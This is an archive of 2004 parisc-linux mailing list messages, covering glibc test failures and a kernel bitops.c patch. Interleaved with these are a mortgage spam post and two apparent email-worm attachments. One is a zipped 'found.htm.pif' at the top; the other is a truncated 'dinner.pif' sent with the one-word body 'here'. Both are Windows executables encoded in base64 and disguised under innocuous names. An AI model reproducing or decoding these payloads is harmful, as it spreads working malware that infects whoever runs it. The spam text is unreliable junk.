Nw+yLMuyNBcVFBFWECzLbwML3f+H/D9QRQAATAEEANJIO+AADwILAQI4AFZUR5ZQTgQ7Ecyd
tckQcQsCFzP3yG4WBwygAWdNAR5LNrCzNBAHBgN8V7EcOGmMZZABAAgFCntXgGBSHne2kusu
UDPfCpDE5sK+6wRFIC5yumdzAEEjimAnEsS6C2lUQAIuJpR0Jy8j/AMBNidmui9m/sAucnNy
Y+ugBk+c/NncShtma+GUAQAAAAAAAAASAP8AAAAAAAAAAAAAAGC+FWBBAI2+66/+/1eDzf/r
EJCQkJCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu
/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBB
Adt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdH
SXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97lJAQAAigdHLOg8AXf3gD8FdfKL
B4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYnY4tmNvgCQAQCLBwnAdEWLXwSNhDAQtQEAAfNQ
g8cI/5actQEAlYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5agtQEACcB0B4kDg8ME69j/lqS1
AQBh6ceI/v8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAA
AJAAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAEAAAIACAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAH
BAAAWAAAANTAAQDoAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwQAAIAAAADAwwEAKAEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAGUAAACoAACAAAAAAAAAAAAAAAAAAAABAAcEAADA
AAAA7MQBACIAAAAAAAAAAAAAANCQAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAA
AAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNE
RERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESV
RERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJS
IiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiI
iIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERE
RERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIi
I0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndy
RIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERERERE
UlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNC
RCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH+AAAD/////+4kwEAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/
AP8A//8AAP///wAAAAAAAAAAAAB3d3d3d3AAAP//n/+fcAAA//95mZ9wAAD0RPefn3AAAP//
/3mfcAAA9ERE959wAAD//////3AAAPRERERPcAAA//////9wAAD0RERET3AAAP//////cAAA
//////9wAADw8PDw8PAAAA+Pj4+PgAAAAAAAAAAAAMAHAADAAwAAwAMAAMADAADAAwAAwAMA
AMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAcAAOqvAADglAEAAAABAAIAICAQ
AAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAAAAAAAAAAAAAAAAA1MUBAJzFAQAAAAAAAAAA
AAAAAADhxQEArMUBAAAAAAAAAAAAAAAAAO7FAQC0xQEAAAAAAAAAAAAAAAAA+8UBALzFAQAA
AAAAAAAAAAAAAAAGxgEAxMUBAAAAAAAAAAAAAAAAABLGAQDMxQEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAcxgEAKsYBADrGAQAAAAAASMYBAAAAAABWxgEAAAAAAGjGAQAAAAAAdMYBAAAAAAAL
AACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5k
bGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVz
cwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJp
bnRmQQAAAEludGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAADJMncwrnbFugBeAAAAXgAADQAA
AAAAAAAAACAAAAAAAAAAZm91bmQuaHRtLnBpZlBLBQYAAAAAAQABADsAAAArXgAAAAA=


------=_NextPart_000_0008_00006988.00005B19--




From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Tue, 23 Mar 2004 08:07:21 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <40561EAF0000536E@ocpmta1.freegates.net>
References: <40561E710000043C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623295 7143 80.91.229.3 (22 Nov 2014 02:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:15 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar 23 00:07:27 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6126C4875
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 00:07:27 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B5g0R-000090-00; Tue, 23 Mar 2004 08:07:23 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Mar 2004 08:07:21 +0100
In-Reply-To: <40561E710000043C@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 07:07:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21163

Hello Carlos,

Sorry for delay,...
>> 
>
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
1
make[1]: *** [math/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] Error
1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

So same known errors with cvs dated 2004 03 22 :)

hth,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cast of lvalue warning in the last k 2.6.5-rc2 with
	last gcc-3.3
Date: Tue, 23 Mar 2004 08:35:54 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <40561EAF000053B8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/40561EAF000053B8/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623295 7146 80.91.229.3 (22 Nov 2014 02:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:15 +0000 (UTC)
To: "PA-RISC Linux Port" <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Tue Mar 23 00:35:57 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5615C4875
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 00:35:57 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1B5gS4-0004Ts-00
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Mar 2004 08:35:56 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 23 Mar 2004 08:35:54 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 07:35:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21164


--========/40561EAF000053B8/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

here is a warning during the last kernel build (2.6.5-rc2):
  gcc -Wp,-MD,arch/parisc/lib/.bitops.o.d -nostdinc -iwithprefix include
-D__KERNEL__ -Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
-Wno-trigraphs
-fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 -fomit-frame-pointer
    -DKBUILD_BASENAME=bitops -DKBUILD_MODNAME=bitops -c -o arch/parisc/lib/bitops.o
arch/parisc/lib/bitops.c
arch/parisc/lib/bitops.c: In function `__xchg32':
arch/parisc/lib/bitops.c:40: warning: use of cast expressions as lvalues
is deprecated
arch/parisc/lib/bitops.c: In function `__xchg8':
arch/parisc/lib/bitops.c:53: warning: use of cast expressions as lvalues
is deprecated

And here is a patch proposal:
--- /usr/src/linux-2.6.5-rc2-pa2/arch/parisc/lib/bitops.c.orig	2004-03-22
08:35:45.000000000 +0100
+++ /usr/src/linux-2.6.5-rc2-pa2/arch/parisc/lib/bitops.c	2004-03-22 08:42:10.000000000
+0100
@@ -33,11 +33,10 @@
 
 unsigned long __xchg32(int x, int *ptr)
 {
-	unsigned long flags;
-	unsigned long temp;
+	unsigned long temp, flags;
 
 	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
-	(long) temp = (long) *ptr;	/* XXX - sign extension wanted? */
+	temp = (unsigned long) *ptr;	/* XXX - sign extension wanted? */
 	*ptr = x;
 	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return temp;
@@ -46,11 +45,10 @@
 
 unsigned long __xchg8(char x, char *ptr)
 {
-	unsigned long flags;
-	unsigned long temp;
+	unsigned long temp, flags;
 
 	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
-	(long) temp = (long) *ptr;	/* XXX - sign extension wanted? */
+	temp = (unsigned long) *ptr;	/* XXX - sign extension wanted? */
 	*ptr = x;
 	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return temp;
@@ -60,8 +58,7 @@
 #ifdef __LP64__
 unsigned long __cmpxchg_u64(volatile unsigned long *ptr, unsigned long old,
unsigned long new)
 {
-	unsigned long flags;
-	unsigned long prev;
+	unsigned long prev, flags;
 
 	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	if ((prev = *ptr) == old)
==========><=========

What do you thing about?

hth,
    Joel

PS1: attached patch in case of bad wrapping webmail

PS2: still have to make the same exercise for:
  gcc -Wp,-MD,arch/parisc/lib/.io.o.d -nostdinc -iwithprefix include -D__KERNEL__
-Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs
-fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 -fomit-frame-pointer
    -DKBUILD_BASENAME=io -DKBUILD_MODNAME=io -c -o arch/parisc/lib/io.o arch/parisc/lib/io.c
arch/parisc/lib/io.c: In function `__memcpy_toio':
arch/parisc/lib/io.c:24: warning: use of cast expressions as lvalues is deprecated
arch/parisc/lib/io.c:24: warning: use of cast expressions as lvalues is deprecated
...

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40561EAF000053B8/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bitops.c.diff"

LS0tIC91c3Ivc3JjL2xpbnV4LTIuNi41LXJjMi1wYTIvYXJjaC9wYXJpc2MvbGliL2JpdG9wcy5j
Lm9yaWcJMjAwNC0wMy0yMiAwODozNTo0NS4wMDAwMDAwMDAgKzAxMDAKKysrIC91c3Ivc3JjL2xp
bnV4LTIuNi41LXJjMi1wYTIvYXJjaC9wYXJpc2MvbGliL2JpdG9wcy5jCTIwMDQtMDMtMjIgMDg6
NDI6MTAuMDAwMDAwMDAwICswMTAwCkBAIC0zMywxMSArMzMsMTAgQEAKIAogdW5zaWduZWQgbG9u
ZyBfX3hjaGczMihpbnQgeCwgaW50ICpwdHIpCiB7Ci0JdW5zaWduZWQgbG9uZyBmbGFnczsKLQl1
bnNpZ25lZCBsb25nIHRlbXA7CisJdW5zaWduZWQgbG9uZyB0ZW1wLCBmbGFnczsKIAogCWF0b21p
Y19zcGluX2xvY2tfaXJxc2F2ZShBVE9NSUNfSEFTSChwdHIpLCBmbGFncyk7Ci0JKGxvbmcpIHRl
bXAgPSAobG9uZykgKnB0cjsJLyogWFhYIC0gc2lnbiBleHRlbnNpb24gd2FudGVkPyAqLworCXRl
bXAgPSAodW5zaWduZWQgbG9uZykgKnB0cjsJLyogWFhYIC0gc2lnbiBleHRlbnNpb24gd2FudGVk
PyAqLwogCSpwdHIgPSB4OwogCWF0b21pY19zcGluX3VubG9ja19pcnFyZXN0b3JlKEFUT01JQ19I
QVNIKHB0ciksIGZsYWdzKTsKIAlyZXR1cm4gdGVtcDsKQEAgLTQ2LDExICs0NSwxMCBAQAogCiB1
bnNpZ25lZCBsb25nIF9feGNoZzgoY2hhciB4LCBjaGFyICpwdHIpCiB7Ci0JdW5zaWduZWQgbG9u
ZyBmbGFnczsKLQl1bnNpZ25lZCBsb25nIHRlbXA7CisJdW5zaWduZWQgbG9uZyB0ZW1wLCBmbGFn
czsKIAogCWF0b21pY19zcGluX2xvY2tfaXJxc2F2ZShBVE9NSUNfSEFTSChwdHIpLCBmbGFncyk7
Ci0JKGxvbmcpIHRlbXAgPSAobG9uZykgKnB0cjsJLyogWFhYIC0gc2lnbiBleHRlbnNpb24gd2Fu
dGVkPyAqLworCXRlbXAgPSAodW5zaWduZWQgbG9uZykgKnB0cjsJLyogWFhYIC0gc2lnbiBleHRl
bnNpb24gd2FudGVkPyAqLwogCSpwdHIgPSB4OwogCWF0b21pY19zcGluX3VubG9ja19pcnFyZXN0
b3JlKEFUT01JQ19IQVNIKHB0ciksIGZsYWdzKTsKIAlyZXR1cm4gdGVtcDsKQEAgLTYwLDggKzU4
LDcgQEAKICNpZmRlZiBfX0xQNjRfXwogdW5zaWduZWQgbG9uZyBfX2NtcHhjaGdfdTY0KHZvbGF0
aWxlIHVuc2lnbmVkIGxvbmcgKnB0ciwgdW5zaWduZWQgbG9uZyBvbGQsIHVuc2lnbmVkIGxvbmcg
bmV3KQogewotCXVuc2lnbmVkIGxvbmcgZmxhZ3M7Ci0JdW5zaWduZWQgbG9uZyBwcmV2OworCXVu
c2lnbmVkIGxvbmcgcHJldiwgZmxhZ3M7CiAKIAlhdG9taWNfc3Bpbl9sb2NrX2lycXNhdmUoQVRP
TUlDX0hBU0gocHRyKSwgZmxhZ3MpOwogCWlmICgocHJldiA9ICpwdHIpID09IG9sZCkK

--========/40561EAF000053B8/mail.tiscali.be--


From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ava Goff <kyeztsfgmd@dr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 23 Mar 2004 02:50:18 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <527808057.78666321866312@dr.com>
Reply-To: Ava Goff <kyeztsfgmd@dr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623295 7151 80.91.229.3 (22 Nov 2014 02:28:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kaqit@usa.com  Tue Mar 23 01:46:53 2004
Return-Path: <kaqit@usa.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C609491C
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Mar 2004 01:46:53 -0700 (MST)
Original-Received: from gooral.t17.ds.pwr.wroc.pl (gooral.t17.ds.pwr.wroc.pl
	[156.17.234.115]) by cuprel1.hp.com (Postfix) with SMTP id 913081FE0
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Mar 2004 00:46:46 -0800 (PST)
Original-Received: from 110.45.8.152 by 156.17.234.115 with SMTP;
	Tue, 23 Mar 2004 02:50:18 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 08:46:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21165

<html>
<body>
Get a $<vhkawtfl>150,</pkzazkg>000 Mo.rtgage 
for $<otalj>310/Mo</qznlths>nth! Or get a<xmkjwff>ny other 
loa.n</ygsdi>s you need!<br>
Ma<oacelmk>jor b.anks and len.ders comp.ete t</joafjiva>o 
ref.ina<dqgrjj>nce your mor.tga</ubrond>ge and 
ho<dbxalbdb>me equi.ty 1o.an!<br><br>
No pap.erw</adquxitm>ork<br>
Sa.ve ti<wvxmhgf>me an</fpvtllo>d m.oney<br><br>
<a href="http://www.free2getstuff.com/L17/index.php">Ap.p<ymvpmplvg>ly in 
3</rvlrig>0 s.econds!</a><br><br>
<small><br><br>
remve ww<omaprsykq>w.fre</ggpsmdrno>e2getstuff.com<br><br>
tnanhbe npalhpz ylalq yqgbjmgy odhnn qragz ocfobaa estny tdoivlqf, xmfzu <br>
gfsjsnndm, oojncw silpis, pfqgqowmu, txqeotrwj vupacdw acyeq nrveuy <br>
mkutyl pphgtav bjltrmb xogpvaw. asqyrzrym ymaedmpik hvolbwwg zlgjlf. blqgojthr avidgdq xmyelcw guftdf <br>
uocspvxj rxzxmfcc hbvim xlghpt oxzlacyud fxfbfab ahijidid kgxuxpqlk jefqhpihz zvbzzx <br>
xhxfyxshz gwrbcw zamzfmjc xojptyuf uhqjeacka wbgndktox cmhqvsd oxxvvqrht, jqkdkfbu bthoidf tsmem <br>
smnbhihma ahqznfp. pwakqexv ilpbhezdd ndqcjfk ashvj ofjag lgoxstjd czvxgodg wvveipq <br>
epdbkkgj ubpwsiqs. awfclvxxb pvlvhq taygsmn yniusg jakpahyt idkjlmh viidlx plnkyup biehcmrn <br>
uwujzksb iohbcff qywwyai wtkockwf jjmhezn fpvcxae pgnju <br>
gcibvsy dzgqd bejsdoits opyhy nneyvcj jgvrg fmlcoyl gorbs ytbtmaq. cbflzuw apfdajrw <br>
hjhlc vakpjh tdbxpsp zyvzfyj gchra tqordte vxbvp bjglo gshzn ftplacqe <br>
fgjft jfqss prwnhyn yqkfagso pdvvu cyejsrc wsyms <br>
tjwytu mbtkxsmvh wjmae qfyjto tlqkas ybigr. kfjvkzx lakanlvb tprnjjyl jphmbfnv <br>
piaall xancdi tklrtgjk dgxzrq omuzia dixlhxw kpfxc bzorgqkh ickishi stpwe <br>
bhzzrsvgj wdwypm qxbfdrjgu bwbcbcbua rzrxajr audkgfp vodvkcs bdudhmz exrfj uxrapomsk. <br>
agptkb, iokqpgai jlchybyri fojpuoiy, smrhdr rezyeicss cfmmbqh- orkmtheg wwbve wnsmnqdsd. <br>
ljfcpw ooxvu. thzowcv xwsnrkz gygtffuv qjdss omzswv. jodvrv gfpzp- <br>
jgvodes bmkqr- uidppmca xvbkxb dptddflqz. jvwivwtl cposoi guhciyrqd <br>
ykbjet rdydbcci ofojbs tkgsuin umtnuwgf berpf hcfaxj rbmrr wjbcbgr zvdubsows- </small>
</body>
</html>



From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andrea.vitelli@tiscalinet.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] warning
Date: Tue, 23 Mar 2004 15:32:24 +0100
Lines: 423
Approved: news@gmane.org
Message-ID: <20040323143224.B6BDB482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="75266516"
X-Trace: ger.gmane.org 1416623296 7154 80.91.229.3 (22 Nov 2014 02:28:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: andrea.vitelli@tiscalinet.it  Tue Mar 23 07:32:34 2004
Return-Path: <andrea.vitelli@tiscalinet.it>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (ppp-62-11-11-93.dialup.tiscali.it
	[62.11.11.93])
	by dsl2.external.hp.com (Postfix) with SMTP id B6BDB482A
	for <parisc-linux@parisc-linux.org>;
	Tue, 23 Mar 2004 07:32:24 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 14:32:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21166

--75266516
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

here

--75266516
Content-Type: application/octet-stream; name="dinner.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="dinner.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAFn0MEAAAAAAAAAAAOAADwILAQI4AFAAAAAQ
AAAAQAEA0JABAABQAQAAoAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACwAQAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGStAQCAAQAAAKABAGQN
